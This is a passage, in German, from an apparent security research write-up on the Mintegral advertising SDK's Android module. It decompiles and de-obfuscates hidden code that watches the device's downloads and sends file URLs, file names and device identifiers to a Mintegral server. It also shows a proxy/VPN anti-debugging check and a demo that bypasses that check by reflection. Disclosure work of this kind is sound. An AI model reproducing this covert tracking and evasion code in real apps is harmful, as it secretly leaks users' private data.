Theoretisch kann ein Werbetreibender eine bestimmte Nutzergruppe oder eine bestimmte Gruppe von Geräten gezielt ansprechen, indem er eine bösartige Anzeige mit dem JavaScript-Exploit ausliefert.

Fazit

Wir können nur spekulieren, warum Mintegral die Möglichkeit integriert hat, native Methoden remote im SDK aufzurufen. Die Namen der Klassen, etwa MTGCommandDispatcher und MTGRemoteCommand, lassen uns jedoch vermuten, dass dies beabsichtigt war. Außerdem entfernte Mintegral den Code unmittelbar nach unserer Veröffentlichung, obwohl wir ihn zu diesem Zeitpunkt noch nicht kannten.

Download-Tracking unter Android [Oktober 2020]

Überblick

In den beiden vorangegangenen Abschnitten dieses Forschungsartikels haben wir beschrieben, wie das Snyk-Sicherheitsteam schädliches Verhalten im Mintegral-SDK entdeckt hat, das sich auf iOS-Geräten ausnutzen lässt und zu Anzeigenbetrug, Datenlecks und Remote Code Execution (RCE) führen kann. Wir wollten die Android-Version des SDK genauer untersuchen. Darum geht es in diesem Abschnitt. Hier die wichtigsten Ergebnisse:

1. Tracking von Download-URIs von Google, das sowohl Browser- als auch App-Downloads betrifft – darunter reguläre Dateidownloads, E-Mail-Anhänge und Google-Docs-Links.

2. Tracking aller APK-Downloads, unabhängig davon, ob sie organisch zustande kamen.

Diese Daten werden an die Server von Mintegral zurückgesendet.

Beobachtetes Verhalten

Beim Herunterladen eines Google-Docs-Links stellten wir fest, dass die App folgende Anfragen an https://n.systemlog.me sendet:

Dabei handelt es sich um denselben Endpunkt, der im iOS-SDK zum Senden von Daten an den Mintegral-Server verwendet wurde. Die Payload ist codiert. Mit der Decodierlogik aus der SDK-Binärdatei erhalten wir jedoch Folgendes:

1p =  clever=kbs0hoR1R0RsRgD0G0R0Woz2YoR1kBzEJdxMhAuhW2MXH7KUhBPgYFKgY7V%2FDFKw%2BoKAhdzQDkxAL75QJdfhWF59h7KBJaKuHaTeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZZHQ4dSXhgx7YbzwD%2BNKh7xrR0M0LdxThdi1%2BoKhWFxXDBTMfo20DB2AL75QJdi%2FHFKXHFeQJ%2BfQhrfXYgxQYgN%2FDFKw%2BoKQ4dSXhgxhWFM2YavAG%2BiFYr32J%2B5whkzALUQXincsYkxU%2BoKuGatrLbf%2FYAcsYbfefAiAJ7wuHkwtf7JqL2MXinDMiUVPia3eiavMicMXinv9in32fAvPiaRPiajFiURPfavA%2BoIq%2BoIeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZnKuHaTeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZZHQ4dSXhgx7YbzwD%2BNKh7xrRQTsRrwbRUE0hF5Uhr5TWgS3H0RsRrHsRUE0inRTf0zK%2BN%3D%3D
2app_id=118690
3sign=9329a7706dd43d6ed64d022ad0e7b13b
4platform=1
5os_version=5.1.1
6package_name=com.mintegral.sdk.demo
7app_version_name=1.0
8app_version_code=1
9orientation=1
10model=Android+SDK+built+for+x86
11brand=Android
12gaid=a717e74d-64fa-464e-a28a-cbb8dc67ef6b
13mnc=260
14mcc=310
15network_type=13
16language=en
17timezone=GMT%2B02%3A00
18useragent=Mozilla%2F5.0+%28Linux%3B+Android+5.1.1%3B+Android+SDK+built+for+x86+Build%2FLMY48X%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Version%2F4.0+Chrome%2F39.0.0.0+Mobile+Safari%2F537.36
19sdk_version=MAL_10.5.0
20gp_version=1.8
21screen_size=1080x2160
22has_wx=false
23cache1=747
24cache2=722
25power_rate=100
26charging=1
27http_req=2
28dvi=4BztYrxBYFQ3%2BFQ3RUE0fnVFDn5tDU3Mfkz0H7H3iBRsRrfuHoR1RUv0Woz3Y%2BN0G0Refnl9R0M0H72rRUEbfUvsRrfTRUE0kbl9fQT06N%3D%3D
29unknown_source=1
30sys_id=a54a2ddc-1a89-5ac3-aa69-d6b7906afa29
31is_clever=2

Es gibt zwei weitere codierte Parameter: clever und dvi. Nachdem wir auch diese decodiert hatten, fiel uns etwas Interessantes auf:

1{
2    "fl": "1246",
3    "kw": "secret.pdf",
4    "p": "",
5    "ul": [
6        "https://docs.google.com/spreadsheets/export?id=10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI&exportFormat=pdf",
7        "https://doc-04-bc-sheets.googleusercontent.com/export/l5l039s6ni5uumqbsj9o11lmdc/i88fksno1losq733tkieka4gjk/1602590910000/108195709029016229403/*/10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI?id=10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI&exportFormat=pdf"
8    ],
9    "v": ""
10}
11
12{
13    "android_id": "556a5ab905bbdfd3",
14    "cid": "0",
15    "ct": "[x86]",
16    "dmf": 760,
17    "dmt": "1588"
18}

Wie zu sehen ist, wird die URL der Google-Tabelle, die wir über die Google-Drive-App heruntergeladen haben, im Feld ul an das Backend gesendet. Der Name der heruntergeladenen Datei steht im Feld kw, während dvi einige Gerätedaten enthält.

Mögliche Verwendungszwecke

Im iOS-Szenario wurden betrügerische doppelte Klicks vom Gerät des Clients an die Mintegral-Server und anschließend an den Attribution-Anbieter (MMP) gesendet. In diesem Fall werden heruntergeladene oder installierte APKs an die Server gemeldet und könnten dazu verwendet werden, serverseitige Klicks zu erzeugen. Das folgende Diagramm veranschaulicht den Datenfluss:

Alphab-Modul

Das oben beschriebene Verhalten befindet sich im Alphab-Modul, das Mintegral als „Optimierungspaket“ bezeichnete:

Nach unserer Veröffentlichung wurde das Modul von der Mintegral-Website entfernt und scheint nicht mehr zum bereitgestellten SDK zu gehören. Wir haben das SDK dekompiliert und den für dieses Verhalten verantwortlichen Code gefunden.

Klasse AlphaCommonConst

1public final class AlphaCommonConst {
2
3    /* renamed from: a */    public static String f0a = a.c("LdxThdi1WBK\\/WgfPhbxQYkeXHBPwHZKAJ7eXHM==");
4
5    /* renamed from: b */    public static String f1b = a.c("LdxThdi1WBK\\/WgfPhbxQYkeXHBPwHZKsYFh=");
6
7    /* renamed from: c */    public static String f2c = "decode error";
8
9    /* renamed from: d */    public static boolean is_net_debug = false;
10
11    /* renamed from: com.alphab.a$a */    /* compiled from: AlphaCommonConst */    public static class C0000a {
12
13        /* renamed from: a */        public static String ACTION_NET_DEBUG = AlphabBase64Util.m1b("aEqMQ3ckisLAfcxK7En575xOayJIYsT=");
14
15        /* renamed from: b */        public static String f5b = AlphabBase64Util.m1b("aELKr0xI7ULIYeJAYeN6aEbPQEx6FAVVNPBVJPHmNZJXJZN=");
16    }

Diese Klasse enthält zahlreiche fest codierte Konstantendefinitionen. Einige Zeichenfolgen sind mit einem eigenen, auf Base64 basierenden Codierungsverfahren verschleiert, das sich in der Klasse AlphabBase64Util befindet – ähnlich wie bei der iOS-Version.

Nach dem Decodieren erhalten wir folgende Zeichenfolgen:

1aEqMQ3ckisLAfcxK7En575xOayJIYsT=                   = alphab_net_debug_action
2aELKr0xI7ULIYeJAYeN6aEbPQEx6FAVVNPBVJPHmNZJXJZN=   = android.intent.action.PACKAGE_ADDED
37sHPNsx6f3H6fcnArsxzf0H2                           = getContentResolver
4aELKr0xI7UL67iN6HinI                               = android.net.Uri
5aELKr0xI7ULKaiJOa0cg7jLoYsLP7ELP9sng7ins7iC=       = android.database.ContentObserver
6aELKr0xI7ULGYsLP7ELPFKb4YeJAYeJj7ib4Yp7ArR==       = android.content.ContentResolver
7r0HeQibP7inoYsLP7ELP9sng7ins7iC=                   = registerContentObserver
8aELKr0xI7ULGYsLP7ELPFKn2YscKascgfcnAasHIf0H2       = android.content.BroadcastReceiver
9aELKr0xI7ULGYsLP7ELPFKA6f3H6fX7IYpJArR==           = android.content.IntentFilter
10aEJKNEbPQEx6                                       = addAction
11r0HeQibP7inj7EbAQi7ArR==                           = registerReceiver

Diese werden in den Initialisierungsschritten verwendet, die wir als Nächstes besprechen.

Alphab-Receiver

In der init()-Methode der Klasse AlphabReceiver wird der BroadcastReceiver mit einigen der zuvor verschleierten Zeichenfolgen initialisiert:

1try {
2      AlphabReceiver alphabReceiver = new AlphabReceiver();
3      Class cls = Class.forName(AlphaCommonConst.C0001b.f11f);
4      Class cls2 = Class.forName(AlphaCommonConst.C0001b.f12g);
5      Object newInstance = cls2.newInstance();
6      Method method = IntentFilter.class.getMethod(AlphaCommonConst.C0001b.f13h, String.class);
7      method.invoke(newInstance, AlphaCommonConst.C0000a.ACTION_NET_DEBUG);
8      method.invoke(newInstance, AlphaCommonConst.C0000a.f5b);
9      Context.class.getMethod(AlphaCommonConst.C0001b.f14i, cls, cls2).invoke(context, alphabReceiver, newInstance);
10      } catch (Throwable th) {
11            th.printStackTrace();
12      }

Wenn wir diese durch die decodierten Zeichenfolgen ersetzen, sieht der Code so aus:

1AlphabReceiver alphab_receiver = new AlphabReceiver();
2Class alphab_receiver_cls = Class.forName("android.content.BroadcastReceiver");
3Class intent_filter_cls = Class.forName("android.content.IntentFilter");
4Object intent_inst = intent_filter_cls.newInstance();
5Method method = IntentFilter.class.getMethod("addAction", String.class);
6method.invoke(intent_inst, "alphab_net_debug_action");
7method.invoke(intent_inst, "android.intent.action.PACKAGE_ADDED");
8Context.class.getMethod("registerReceiver", alphab_receiver_cls, intent_filter_cls)
9.invoke(context, alphab_receiver, intent_inst);

Mithilfe der Java Reflection API wird ein neuer Broadcast-Receiver erstellt, der auf zwei Arten von Intents wartet:

• android.intent.action.PACKAGE_ADDED – ein systemweiter Intent, der ausgelöst wird, wenn ein Paket auf dem Gerät installiert wird.

• alphab_net_debug_action – ein benutzerdefinierter Intent, der offenbar die Netzwerk-Debugging-Funktion erkennt.

Beim Empfang des Intents erstellt die Klasse AlphabReceiver eine ParseAndLoad()-Methode:

1public final class ParseAndLoad {
2
3    /* renamed from: a */    private Intent f89a;
4
5    public ParseAndLoad(Intent intent) {
6        this.f89a = intent;
7        if (AlphaCommonConst.C0000a.ACTION_NET_DEBUG.equals(intent.getAction())) {
8            AlphaCommonConst.is_net_debug = true;
9        }
10    }
11}

Dieses Feld wird später in einer Bedingung verwendet:

1public final void mo40a() {
2   boolean z = true;
3   try {
4        AlphabImpl.m61c(AlphabImpl.this);
5        com.mintegral.msdk.base.b.b.a(i.a(AlphabImpl.this.f64b)).c();
6                if (com.mintegral.msdk.base.b.b.a(i.a(AlphabImpl.this.f64b)).a(this.f82c)) {
7                    g.b(AlphabImpl.f62a, "did in database " + this.f82c);
8                } else if (AlphabImpl.this.f64b != null) {
9                    Context a = AlphabImpl.this.f64b;
10                    if (!AlphaCommonConst.is_net_debug && (NetUtils.is_proxy_enabled(a) || NetUtils.is_vpn_enabled())) {
11                        z = false;
12                    }
13                    if (z) {
14                        g.b(AlphabImpl.f62a, "insert did" + this.f82c);
15                        com.mintegral.msdk.base.b.b.a(i.a(AlphabImpl.this.f64b)).a(this.f82c, this.f81b);
16                        AlphabImpl.m56a(AlphabImpl.this, this.f82c);
17                    }
18                }
19            } catch (Exception e) {
20                if (MIntegralConstans.DEBUG) {
21                    e.printStackTrace();
22                }
23            }
24        }

Die Dekompilierung der beiden anderen Methoden in dieser if-Anweisung zeigt, dass geprüft wird, ob die aktuelle Netzwerkverbindung über einen WLAN-Proxy oder einen VPN-Client läuft. Damit soll verhindert werden, dass die App debuggt und ihr Datenverkehr mitgeschnitten wird. Dieser Intent ermöglicht es den Entwicklern des SDK, diese Anti-Debugging-Funktion zu umgehen.

Alphab-Observer

Ähnlich dazu ist auch der Initialisierungsblock dieses ContentObserver in Reflection-Code und verschleierten Zeichenfolgen verborgen:

1C0014a aVar = new C0014a(this.f70i);
2Object invoke = Context.class.getMethod(AlphaCommonConst.C0001b.f6a, new Class[0]).invoke(context, new Object[0]);
3Class cls3 = Class.forName(AlphaCommonConst.C0001b.f7b);
4                        Class cls4 = Class.forName(AlphaCommonConst.C0001b.f8c);                  Class.forName(AlphaCommonConst.C0001b.f9d).getMethod(AlphaCommonConst.C0001b.f10e, cls3, Boolean.TYPE, cls4).invoke(invoke, Uri.parse(AlphabBase64Util.m1b("asx6f3H6foh4FsJ4fsLzYscKrM==")), true, aVar);

Nach der Bereinigung erhalten wir Folgendes:

1AlpahbObserver observer = new AlpahbObserver(handler);
2Object contentResolverObject = Context.class.getMethod(AlphaCommonConst.REFLECT.GETCONTENTRESOLVER).invoke(context);
3Class uriClass = Class.forName(AlphaCommonConst.REFLECT.URI_CLASS);
4Class contentObserver = Class.forName(AlphaCommonConst.REFLECT.CONTENTOBSERVER_CLASS);
5Class contentResolver = Class.forName(AlphaCommonConst.REFLECT.CONTENTRESOLVER_CLASS).getMethod(AlphaCommonConst.REFLECT.REGISTERCONTENTOBSERVER, uriClass, boolean.class, contentObserver)
6.invoke(contentResolverObject, Uri.parse(AlphabBase64Util.newBase64Decode(uriDownload)), true, observer);

Das bedeutet, dass der Content-Observer registriert wird, um auf die URI content://downloads zu achten. Er wird immer dann ausgelöst, wenn eine Datei auf das Gerät heruntergeladen wird.

Er fragt den Android-Download-Manager nach öffentlichen Downloads ab:

1cursor = aVar.f64b.getContentResolver().query(Uri.parse(AlphabBase64Util.m1b("asx6f3H6foh4FsJ4fsLzYscKr2xMfEnzQEbm73xyY0q4aEJgFM==") + str), null, null, null, null);

Wenn wir die Zeichenfolge decodieren, erhalten wir Folgendes:

1cursor = aVar.f64b.getContentResolver()
2.query(Uri.parse("content://downloads/public_downloads" + str), null, null, null, null);

Erfüllt die Download-URL eine der folgenden Bedingungen, wird ein Bericht an https://n.systemlog.met/stlog gesendet:

1. Endet mit apk – bei manuellen Downloads.

2. Verweist auf ein Paket von com.android.vending oder die URL enthält google.com – dadurch werden Google-Apps oder sogar Browser-URLs erfasst, die der Bedingung entsprechen.

Der folgende Codeausschnitt sendet die Anfrage an den Server https://n.systemlog.met/stlog.

1else if (message.what == AlphabReqImpl.this.f23d && (eVar = new SCReq(AlphabReqImpl.this.f20a)) != null) {
2                g.a("AlphabReqImpl", "setting  is request");
3                eVar.b(0, AlphaCommonConst.f0a, AlphabReqImpl.this.f25f, AlphabReqImpl.this.f26g);
4            }

Das entspricht:

1else if (message.what == AlphabReqImpl.this.f23d && (req = new SCReq(AlphabReqImpl.this.f20a)) != null) {
2                g.a("AlphabReqImpl", "setting  is request");
3                req.send(0, "http://n.systemlog.me/stlog", AlphabReqImpl.this.f25f, AlphabReqImpl.this.f26g);

„Hier sehen wir die Parameter, die wir auch in der mitgeschnittenen Anfrage aus unserem Beispiel gefunden haben:

1static /* synthetic */ void m26a(ReqPKGAndReportManager dVar, String str, String str2, List list, String str3, String str4) {
2        try {
3            if (TextUtils.isEmpty(str2)) {
4                str2 = "";
5            }
6            if (TextUtils.isEmpty(str)) {
7                str = "";
8            }
9            JSONArray jSONArray = new JSONArray();
10            JSONObject jSONObject = new JSONObject();
11            if (jSONObject != null) {
12                try {
13                    jSONObject.put("p", str);
14                    jSONObject.put("v", str2);
15                    JSONArray jSONArray2 = new JSONArray();
16                    if (list != null && list.size() >= 0) {
17                        for (int i = 0; i < list.size(); i++) {
18                            jSONArray2.put(list.get(i));
19                        }
20                    }
21                    jSONObject.put("ul", jSONArray2);
22                    jSONObject.put("kw", str3);
23                    jSONObject.put("fl", str4);
24                } catch (Throwable th) {
25                    if (MIntegralConstans.DEBUG) {
26                        th.printStackTrace();
27                    }
28                }
29            }
30            jSONArray.put(jSONObject);
31            String b = com.mintegral.msdk.base.utils.a.b(jSONArray.toString());
32            dVar.f40i = new c();
33            if (!(dVar.f40i == null || dVar.f20a == null)) {
34                dVar.f40i.a("clever", b);
35            }
36            dVar.mo10a(dVar.f40i);

• p – Paketname des Downloads, also die App

• v – App-Version

• ul – URL der heruntergeladenen Datei

• kw – Dateiname des Downloads

• fl – Dateigröße

Demo-App

Um das Verhalten zu veranschaulichen, haben wir eine Demo-App erstellt, mit der wir Folgendes tun konnten:

1. Das Net-Debug-Flag mithilfe von Reflection aktivieren, um die Anti-Debugging-Logik zu umgehen

1buttonIsNetDebug.setOnClickListener(new View.OnClickListener() {
2   @Override
3   public void onClick(View v) {
4       try {
5           Class AlphaCommonConst = Class.forName("com.alphab.a");
6           AlphaCommonConst.getDeclaredField("d").set(null, true);
7       } catch (Exception e) {
8           e.printStackTrace();
9       }
10   }
11});

2. Eine Datei von einer URL herunterladen, die google.com enthält

1buttonDownloadGoogleLogo.setOnClickListener(new View.OnClickListener() {
2   @Override
3   public void onClick(View v) {
4       Uri uri = Uri.parse("https://images.google.com/images/branding/googlelogo/1x/googlelogo_color_272x92dp.png");
5       DownloadManager.Request request = new DownloadManager.Request(uri);
6       request.setDestinationInExternalPublicDir(Environment.DIRECTORY_DOWNLOADS, "googlelogo_color_272x92dp.png");
7       request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_ONLY_COMPLETION);
8       DownloadManager manager = (DownloadManager) getSystemService(DOWNLOAD_SERVICE);
9       manager.enqueue(request);
10   }
11});

3. Eine Datei von einer URL herunterladen, die mit apk endet

1buttonDownloadApk.setOnClickListener(new View.OnClickListener() {
2   @Override
3   public void onClick(View v) {
4       Uri uri = Uri.parse("https://storage.evozi.com/apk/dl/16/09/04/com.shazam.android_1004300.apk?f=google.com");
5       DownloadManager.Request request = new DownloadManager.Request(uri);
6       request.setDestinationInExternalPublicDir(Environment.DIRECTORY_DOWNLOADS, "com.shazam.android_1004300.apk");
7       request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_ONLY_COMPLETION);
8       DownloadManager manager = (DownloadManager) getSystemService(DOWNLOAD_SERVICE);
9       manager.enqueue(request);
10   }
11});

„Wir haben die ausgehenden Anfragen mit einem HTTP-Proxy mitgeschnitten. Nachdem wir auf eine der Download-Schaltflächen geklickt hatten, sahen wir eine Anfrage an den Endpunkt des Servers:

Dieses Video veranschaulicht das Tracking-Verhalten:

Play Video: Malicious Mintegral SDK Leaks Data on Android

Zeitachse